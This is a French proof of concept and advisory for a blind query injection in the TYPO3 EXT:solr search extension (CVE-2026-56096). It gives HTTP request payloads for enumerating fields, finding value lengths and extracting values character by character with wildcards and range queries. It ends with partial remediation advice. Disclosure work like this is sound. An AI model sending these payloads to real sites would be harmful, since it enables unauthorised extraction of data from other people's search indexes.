
Preuve de concept et analyse technique pour CVE-2026-56096, une injection de requête Solr à l'aveugle dans TYPO3 EXT:solr permettant l'énumération de champs et l'extraction de données sans authentification.
Une vulnérabilité de sécurité architecturale a été découverte dans l'extension officielle TYPO3 Apache Solr (EXT:solr / apache-solr-for-typo3/solr). Le problème permet à des attaquants distants non authentifiés d'injecter une syntaxe de requête Solr/Lucene arbitraire via le paramètre de recherche tx_solr[q], ce qui permet une énumération aveugle non autorisée des champs et une extraction complète des métadonnées de l'index de recherche.
EXT:solr (Paramètre de recherche : tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NL'extension EXT:solr accepte les termes de recherche fournis par l'utilisateur via le paramètre tx_solr[q] et les transmet au moteur Apache Solr. Par conception, l'extension autorise des opérateurs de requête spécifiques — tels que les jokers (*), les jokers d'un seul caractère (?), les sélecteurs de champ (:) et les requêtes de plage ([a TO z]) — pour prendre en charge des fonctionnalités légitimes comme le filtrage à facettes.
Étant donné que ces caractères étaient transmis directement à la construction de la requête backend sans liste blanche restrictive ni couche d'abstraction de requête, un attaquant peut fournir une syntaxe spécifique à un champ pour échapper aux limites de recherche prévues. Cela permet à des utilisateurs non authentifiés d'interroger directement des champs Solr internes et d'extraire des données de l'index à l'aide de techniques aveugles basées sur des booléens.
field:*En ajoutant un joker à un nom de champ arbitraire ou deviné, un attaquant peut vérifier si le champ existe dans le schéma :
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Si le champ existe, Solr traite la requête sur tous les enregistrements correspondants (déclenchant souvent des codes de réponse distincts ou des comportements liés au volume), ce qui permet une énumération automatisée des champs basée sur des listes de mots.
Les attaquants peuvent extraire des valeurs de champs sensibles caractère par caractère en utilisant une inférence booléenne :
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?L'opérateur joker d'un seul caractère (?) peut déterminer la longueur exacte d'une chaîne stockée avant de commencer l'itération des caractères :
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])Les requêtes de plage permettent une extraction par recherche binaire sur le caractère initial, réduisant le nombre de requêtes nécessaires de 26 à environ 5 par position de caractère :
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
La combinaison de la détection de longueur, des requêtes de plage et des jokers de préfixe permet une extraction complète des champs avec une empreinte de requêtes minimale.
EXT:solr.L'échappement global des caractères est insuffisant car des opérateurs comme * et : servent des fonctionnalités de recherche prévues. La remédiation nécessite une liste blanche au niveau de la couche applicative et un modèle d'analyse :
[email protected]).